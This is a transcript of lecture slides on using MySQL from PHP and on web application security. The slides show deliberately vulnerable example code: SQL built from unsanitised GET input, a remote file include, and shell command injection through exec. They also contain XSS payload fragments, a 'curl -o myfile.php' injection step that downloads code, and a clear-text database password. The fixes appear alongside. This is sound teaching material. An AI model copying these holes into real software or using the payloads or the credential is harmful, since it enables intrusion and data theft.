Download presentation
Presentation is loading. Please wait.
1
Keep in mind, I'm not a sql programmer….
MySQL Keep in mind, I'm not a sql programmer….
2
What it is A multithreaded multi user database system
It has it's own syntax, consistent with SQL Developed as an answer to heavy weight commercial dbs such as Oracle and Sybase Dual licensed by MySQL AB, which makes the source available under GPL, but also licenses closed versions Recently there's been a controversy since the distribution of the source has been slightly restricted
3
Why use it? It's free It's fast, and suits most purposes nicely
It's relatively easy to understand (oracle and sybase have steeper learning curves) If you grow into something that needs additional support, you can buy it later (much as is the case with PHP/Zend)
4
Everything in a table MySQL stores user information, access controls, passwords, all of it's data, in a database (named mysql), so you need to guard that pretty carefully You can allow access to it directly over the network, but consider the need carefully I recommend that you only allow access via the local host, and use php for user access--you can always ssh to the server if you need direct access If you want to run php code on another server, then only allow that server to connect--but know that all other users on that server can try to connect…
5
Administration Via the command line, use mysql and mysqladmin
mysql is use to create and access databases and tables mysqladmin is used to manage the service For more info, see dev.mysql.com/doc/refman/5.1/en/index.html There's also a nice package, phpmyadmin, you can use to manage databases--installing this and using is could be a project….
6
Sample Commands These are the commands I used to create the table we'll use in the lab Commands end with a semi-colon DROP TABLE IF EXISTS employees; CREATE TABLE employees ( id tinyint(4) NOT NULL AUTO_INCREMENT, first varchar(20), last varchar(20), address varchar(255), city varchar(40), position varchar(50), PRIMARY KEY (id), UNIQUE id (id)); INSERT INTO employees VALUES (1,'Tory','LeMar','128 Here St', 'Cityname','Marketing Manager'); INSERT INTO employees VALUES (2,'Brad','Johnson', '1/34 Nowhere Blvd', 'Snowston','Doorman'); INSERT INTO employees VALUES (3,'Bob','Smith', '128 Here St','Cityname','Marketing Manager'); INSERT INTO employees VALUES (4,'John','Roberts', '45 There St','Townville','Telephonist');
7
Examples of MySQL Functions
mysql_change_user — Change logged in user of the active connection mysql_connect — Open a connection to a MySQL Server mysql_create_db — Create a MySQL database mysql_db_query — Send a MySQL query mysql_drop_db — Drop (delete) a MySQL database mysql_fetch_field — Get column information from a result and return as an object mysql_fetch_lengths — Get the length of each output in a result mysql_field_table — Get name of the table the specified field is in mysql_field_type — Get the type of the specified field in a result mysql_list_dbs — List databases available on a MySQL server mysql_list_fields — List MySQL result fields mysql_list_tables — List tables in a MySQL database mysql_num_fields — Get number of fields in result Etc….
8
Opening a connection Notice that the password here is clear in the php source….. // create a resource handle for the database connection $db = mysql_connect("purple.ils.unc.edu:3306", "668", "b0yH0wdy!"); mysql_select_db("668db",$db); // Create a resource variable with the results from // a mysql_query()--this is not a normal variable, but // rather a pointer to the resource's data. $result = mysql_query("SELECT * FROM employees",$db); Also, do you understand the concept of the pointer here?
9
Using printf // Use printf to get the results to the browser
// The %s stands for a string variable, the value from the first // item after the first command goes into the first variable, etc. // The result we're pulling is from the zeroth row of $result // so it's the first line in the table printf("First Name: %s<br>\n", mysql_result($result,0,"first")); printf("Last Name: %s<br>\n", mysql_result($result,0,"last")); printf("Address: %s<br>\n", mysql_result($result,0,"address")); printf("City: %s<br>\n", mysql_result($result,0,"city")); printf("Position: %s<br>\n", mysql_result($result,0,"position"));
10
Submitting Data $id = $_GET["id"]; if ($id) { if ($_POST["submit"]) {
$sql = "UPDATE employees SET first='$first',last='$last',address='$address', city='$city',position='$position' WHERE id=$id"; // Note that we set data by passing a command to the database // with a mysql_query() $result = mysql_query($sql); echo "Thank you! Information updated.\n";
11
A more selective query // In this query, we're only looking for one line, the one // with the match id value $querystring = "SELECT * FROM employees WHERE id=" . $_GET["id"]; $result = mysql_query($querystring,$db); $myrow = mysql_fetch_array($result); printf("First name: %s\n<br>", $myrow["first"]); printf("Last name: %s\n<br>", $myrow["last"]); printf("Address: %s\n<br>", $myrow["address"]); printf("City: %s\n<br>", $myrow["city"]); printf("Position: %s\n<br>", $myrow["position"]); Note also that this version uses mysql_fetch_array(), a single query pulls the entire row into a 1d array in php
12
Optional Lab I've set up a db on purple.ils.unc.edu, you can play with it if you like with this lab: samples/php/mysql/00_mysql_php.html
13
Security Issues
14
General Considerations
Think about where you are exposed Filesystem on multiuser systems PHP codes executes as the web server, with the web server's permissions This means any file that you write via PHP might be writable by other users (either via PHP or a CGI program) Any file that's readable by the web server is readable by others via the web server Often web pages are world readable
15
General Considerations
You're also exposed whenever you request data from a user A user may give you data you don't expect or want Depending on how your program handles the data, this can have a variety of results Your data on the server could be affected Other users' browsers could be affected
16
Categories of Hacks Data that is inserted into code that is displayed on your pages Data that is inserted to alter your data Holes that can be exploited to run arbitrary commands
17
Display Hacks Targets are bulletin boards, blogs that allow comments, web forums--anything that allows users to input text that will be displayed At best, you might get random stuff showing up on your web pages At worst, users could be "captured" and whisked away
18
Arbitrary Commands Basically, this is the worst kind of attack
Cracker finds a hole that allows a command to be executed Most often that happens at the privilege level of the web server In some cases, it can be an elevated privilege (rare on linux, not so rare on windows)
19
Examples of Attacks
20
Cross Site Scripting Cross scripting generally involves getting data into a web form that produces HTML for display, and use that to call an external script to perform a malicious action For example, a hacker could insert a redirect to a web site they control--if they make that site look legit and prompt a user for data, they can get those data (eg. password, credit card numbers) This is often done with javascript, but can be done with other languages
21
An Aside: Magic Quotes This is an example of trying to do good in a bad way…. As PHP became more popular, attacks against it became more common (why would this be the case?) To make PHP safer, version included magic quotes enabled by default Magic quotes performs the same function as addslashes(), but only on any GET, POST or cookie data--that is, it escapes any ',",\, or NULL characters, in an attempt to prevent folks from inserting command strings into php
22
Detecting Magic Quotes
This is not very efficient <?php if (get_magic_quotes_gpc()) { function stripslashes_deep($value) { $value = is_array($value) ? array_map('stripslashes_deep', $value) : stripslashes($value); return $value; } $_POST = array_map('stripslashes_deep', $_POST); $_GET = array_map('stripslashes_deep', $_GET); $_COOKIE = array_map('stripslashes_deep', $_COOKIE); $_REQUEST = array_map('stripslashes_deep', $_REQUEST); ?> from
23
Are Magic Quotes AGT? Some say that magic quotes are a bad
when enabled, it can make it more difficult to get the data you the way you want it Produces a false sense of security, since programmers should check user data anyway But it does protect against the most common attacks such as insertion of javascript But folks hated it enough that it's off in PHP 6 Be aware of it for portability issues
24
echo_string.php An example of XSS prone scripting, this file just echoes the $_GET["string"] var If you ask a user for data in a get or post, and then use that in display, that page can get hijacked <script type=text/javascript> window.location = " </script>
25
echo_string.php Even with magic_quotes enabled, this script is a bit of a problem All magic_quotes escapes are quote, slashes, and NULLs This kills most script commands, but not weakly formed HTML which the browser is glad to render…. ?string=<img src=
26
Simple Sanitation In this case, we're going to use htmlentities() to affect the user's input echo htmlentities($_GET['string']); This converts any HTML tags to entities, so they are displayed and not rendered by the browser Be aware that this is mainly a browser protection…
27
Includes and Requires It's pretty common to use an include or require to pull files into a core script This is a potential vector for a XSS attack, since PHP doesn't care if the file included is remote or local Be careful with these--if you pass file to be included into your script with a GET or POST, a hacker can run a script of their own through yours magic_quotes do not protect against this It's one of the ways I've been hacked include $_GET['file'];
28
How I've Been Hacked I created a simple PHP file that included other files with a GET reference This allowed me to call files elsewhere on the server inside my frame program, and control the display if the file were a text file or html I did not check the data being passed The hacker passed a reference to a file on their system, that ran a perl script creating an relay on our web server, and then passed through the web server to our smtp server, which accepted all of the spam, since it came from within cs.unc.edu
29
The File http://wwwx.cs.unc.edu/help/network/frame.php?
The problem line was: include($_GET[name]);
30
The Fix Changed include() to readfile(), the latter doesn't process code, just reads it to output Added a check for "//" for remote access urls Added a hook to send to me when tapped
31
Attacking the server Since PHP can pull data about the server, it can be used to find out about the server's configuration (esp. the web server) More dangerous is the ability to access the shell (one reason we've looked at bash!) You should be careful with any data that will be passed to a shell script with back tick or exec
32
Unguarded GET or POST In this case, the GET variable is passed directly into a shell exec We know that shell script lines terminated in a ";" So a command can be passed in the variable, by inserting a semi-colon $month = $_GET['month']; $year = $_GET['year']; exec("cal $month $year", $result); print "<PRE>"; foreach ($result as $r) { print "$r<BR>"; } print "</PRE>"; This example from
33
Unguarded GET or POST An example of a get URL:
-la /etc/ This would be passed to the web server, and executed with it's permissions, so it's a better vector for reads than writes But any directory that the web server could write to could be tapped…. This example from
34
Unguarded GET or POST Ok, so let's say this file sits in a directory that the web server can write to (say for a user comment file, or a log, or….) Then a hacker could pass something more malicious, eg: curl -o myfile.php
35
Unguarded GET or POST The author recommends using a regular expression to check that the input is solely numbers, and of the correct length $month = $_GET['month']; $year = $_GET['year']; if (!preg_match("/^[0-9]{1,2}$/", $month)) { die("Bad month, please re-enter."); } if (!preg_match("/^[0-9]{4}$/", $year)) die("Bad year, please re-enter."); This example from
36
06_mysql_submit.php I'm pretty much a failure hacking MySQL so far…
But using the lab as an example, here are some things you can insert into the db <a href=\" Wonk</a> <img src=/PoweredByMacOSXLarge.gif> It's restricted by the number of characters allowed in the field, but you get the idea
37
Additional Considerations for MySQL
Don't use unrestricted privileges for database connections (do as I say, not as I do) Either have the user supply a user id and password, or use a restricted account Use a mysql account that is limited and appropriate for the given task
38
General Server Settings
39
register_globals register_globals, when on, allows php full access to all variables directly In my examples, I've accessed GET and POST data via the server global array even when not necessary With it on, $_GET["variable"] is the same as $variable in php This gives a hacker a chance to inject data into unprotected variables into your script, say into a session variable So check to see that it's off
40
open_base_dir The default is to allow php to open any files, this setting can be enabled to restrict what directories php can access With a setting of ".", the tree is restricted to the folder of the script itself, or lower Can be set for virtual servers in apache Keep in mind that this setting only affects php, any shell scripts you use have full run of the directory tree
41
What can you do? (Panic?)
42
Protect your source code
In the class pages, I've made the source code visible over the web This is something to avoid in general--it's easier to hack a site if you know the source Be aware of who else is on your server Remember that the web server has to have read privileges--if I'm on the same server, I might be able to use a cgi to see your source code Consider a "sealed" server for critical data Run a hash on your scripts to check for mods--there are lots of freebie programs that can do this for you and alert you to changes
43
Control Session Data In the examples for class, I've use a session to store data across forms Session data is readable by other users, usually anyone, in /tmp To reduce the chance of hijacking, use a combination of data--for example, check not only the session key, but also the ip number (consider storing that in post data or a text file) Encrypt any sensitive data stored in the session
44
Keep Up To Date Update your PHP installation regularly, and check the php.ini settings when you do Create and check log files in your php programs (consider automating this with a cron) Read--there are web sites and discussion lists that cover these issues--many are a bit histrionic, but you get good ideas anyway
45
Consider Where you want Security
For example, in this class I'm trusting you all a lot, as a group, not to trash machines In MySQL, you can either use the database to secure data, or PHP, or both Both is hard to do… In some cases, restricting access to a domain is enough, in other ids are better
46
MySQL http://www.redhat.com/magazine/007may05/features/mysql/
47
Sources http://www.sitepoint.com/article/php-security-blunders
Similar presentations
© 2025 SlidePlayer.com Inc.
All rights reserved.